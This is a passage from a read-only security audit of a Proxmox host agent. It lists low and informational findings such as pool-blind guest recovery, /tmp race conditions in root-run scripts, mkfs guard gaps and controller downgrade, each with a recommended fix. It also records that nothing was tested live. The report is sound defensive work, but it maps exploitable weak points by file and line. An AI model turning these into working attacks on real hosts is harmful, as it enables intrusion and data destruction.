| **A1** | **LOW** | Stale-lock recovery (`stalelock.go:58`) reaps guests by a **pool-blind `ListLXC` scan**, not ownership — `pct unlock`+snapshot-delete+start a foreign guest under a broad token. Contained by the pool ACL today. | Restrict the scan to felhom-pool membership (or fenced-root `pct list` cross-checked against the pool). | **F1-sibling** (extends F1's "broad-token re-arms it"; relates F6) | **N (contained)** — but **fix before any broad/root-token deployment** |
| **B1** | **LOW** | Fixed-name `/tmp` staging of root-executed scripts (`guesthook/install.go:40`, `intermediary.go:149,157`) — local TOCTOU into a root-run hookscript / boot script. | Use `os.CreateTemp` (as `lanresolver.go:255` already does). | new (host-local; outside F1–F6) | **N** (needs a 2nd non-root host account, which the platform doesn't provision) |
| **D1** | **LOW** | The guarded mkfs wrapper (`felhom-mkfs-guarded.sh`) re-checks only system-disk / LVM-PV / foreign-mount — **not** ZFS/mdraid/LUKS/swap/read-only, so it can't catch a bypassed agent on those. | Add those FSTYPE + `/sys` ro re-checks to the wrapper; use an absolute `pvs` path. | new (defense-in-depth below the classifier) | N (primary guard `classifyClaim` covers all cases) |
| **D3** | INFO (susp.) | Blank-format path (`disks.go:681`) formats the **mutable `/dev` path** with no durable-id re-resolution — AGENT-001's TOCTOU, left open on the benign branch; `Format`'s own precondition comment is violated. | Re-resolve the durable id on the blank branch too (mirror `disks.go:714`). | new (sibling of AGENT-001, not a pool finding) | N |
| **D2** | INFO (susp.) | `classifyClaim` reads an empty-but-successful `lsblk` as `unclaimed` (no `len(nodes)==0` / target-present guard). | Refuse when `nodes` is empty or the target whole-disk is absent from the tree. | new | N |
| **C1** | INFO (susp.) | `/controller/swap` regex pins host+repo but accepts **any semver** → a compromised controller can downgrade to an older vulnerable release (within its own guest). | Agent-side minimum-version floor. | new (adjacent to controller-swap SPIKE) | N |
| **C2** | INFO (susp.) | `/netstorage/add` `server`/`export` are free → attacker-NAS host-side mount (host kernel NFS/CIFS client + attacker FS into guest). Creds-path attack is closed. | Operator/allowlist gate on NAS server addresses for shared boxes. | new | N |
| **A2** | INFO | Reversibility gate consumes caller-stamped provenance without journal cross-check; guarantee lives entirely in the call-site `launched`/UPID discipline. | Add a defensive comment/guard; consider a journal cross-check for self-authored teardowns. | duplicate-adjacent to **F1** root cause | N |
| **B2** | INFO | `AttachDrive`/`DetachDrive` don't self-reject `..` (safe only because callers gate). | Self-validate `where` in the bind helpers. | new (defense-in-depth) | N |
| **B3/B4/B5** | INFO | Coarser-than-needed wildcards (B3); `privileged.go` forms absent from sudoers, fail-closed (B4); dead `systemctl reload dnsmasq` grant (B5). | Tighten wildcards; document/prune. | new (housekeeping) | N |
| **E1/E2** | INFO | `decommission.go` comment drift (E1); tautological `bindsToAction` for one-shot jobs (E2). | Correct the comment; note the real one-shot binding control. | new (doc/clarity) | N |
| **C3** | — | Eject/decommission dependent-guest scan is advisory-only. | (already tracked) | **= F5** (duplicate) | N |

---

## NOT validated / needs supervised live test

This audit was **100% static + non-destructive**. The following would each require a *destructive* live
effect and were deliberately **not** run (§13 STOP):

- **A1** under a real broad/root token — would need to redeploy the agent with a broad token and park a
  foreign guest in a stale-locked state; needs a supervised host with a throwaway non-felhom guest.
- **B1** — would need a second non-root local account on the Proxmox host and a race harness against a real
  guesthook install; the standard host doesn't provide the account.
- **D1/D3** — proving these requires an actual `mkfs` against a crafted ZFS/mdraid/LUKS/swap member (D1) or a
  live `/dev` re-enumeration race during a real format (D3). **Not run** — no real disk was formatted.
- **C1** — a real controller-swap to an older image against guest 9201. **Not run.**
- **C2** — a real NAS mount from an attacker-controlled server. **Not run.**

All are documented as sequences/fixtures + named negative tests so a follow-up fix spec can prove them in
unit-land or on a supervised scratch host.

## Cleanup confirmation

- **No throwaway probe artifacts created** — the audit used only source reads and read-only verification
  greps. No spike token was minted, no scratch guest/decoy created, no marker path written, no `go
  run`/`go test` harness left behind.
- **Live state untouched:** the agent was not restarted or reconfigured; guest 9201, the enrolled drives, the
  `FelhomAgent` role / `felhom-agent@pve` token / its ACL, and the `felhom` pool were **not** modified (no
  live mutation was issued at all).
- **`felhom-agent` repo: read-only** — no file written, no version bump, no branch.
- **No secret committed** — this doc references tokens/keys/codes only as "stored out-of-band"; no
  fingerprint, nonce, or key material appears.

## Observations (tempting-but-out-of-scope; recorded, not acted on)

- The `validate.go:34-36` comment still says the sudoers mkfs entries are "per-fstype binaries
  (mkfs.ext4/mkfs.xfs)"; the FORMAT alias now routes *only* through `felhom-mkfs-guarded` (raw mkfs.* is no
  longer allowlisted). Stale comment, not a security issue — noted for a future doc pass.
- Several INFO items (B3 wildcard tightening, B5 dead grant, E1/E2 comment fixes) are one-liners that would
  tighten least-privilege / clarity; deliberately left as a batch for a separate implementation spec rather
  than patched here (this is an audit).
- A1, D1, D3 are the three worth folding into the next agent fix spec together — they are the "defense-in-
  depth is asymmetric / a second gate doesn't fully mirror the first" theme running across strands A and D.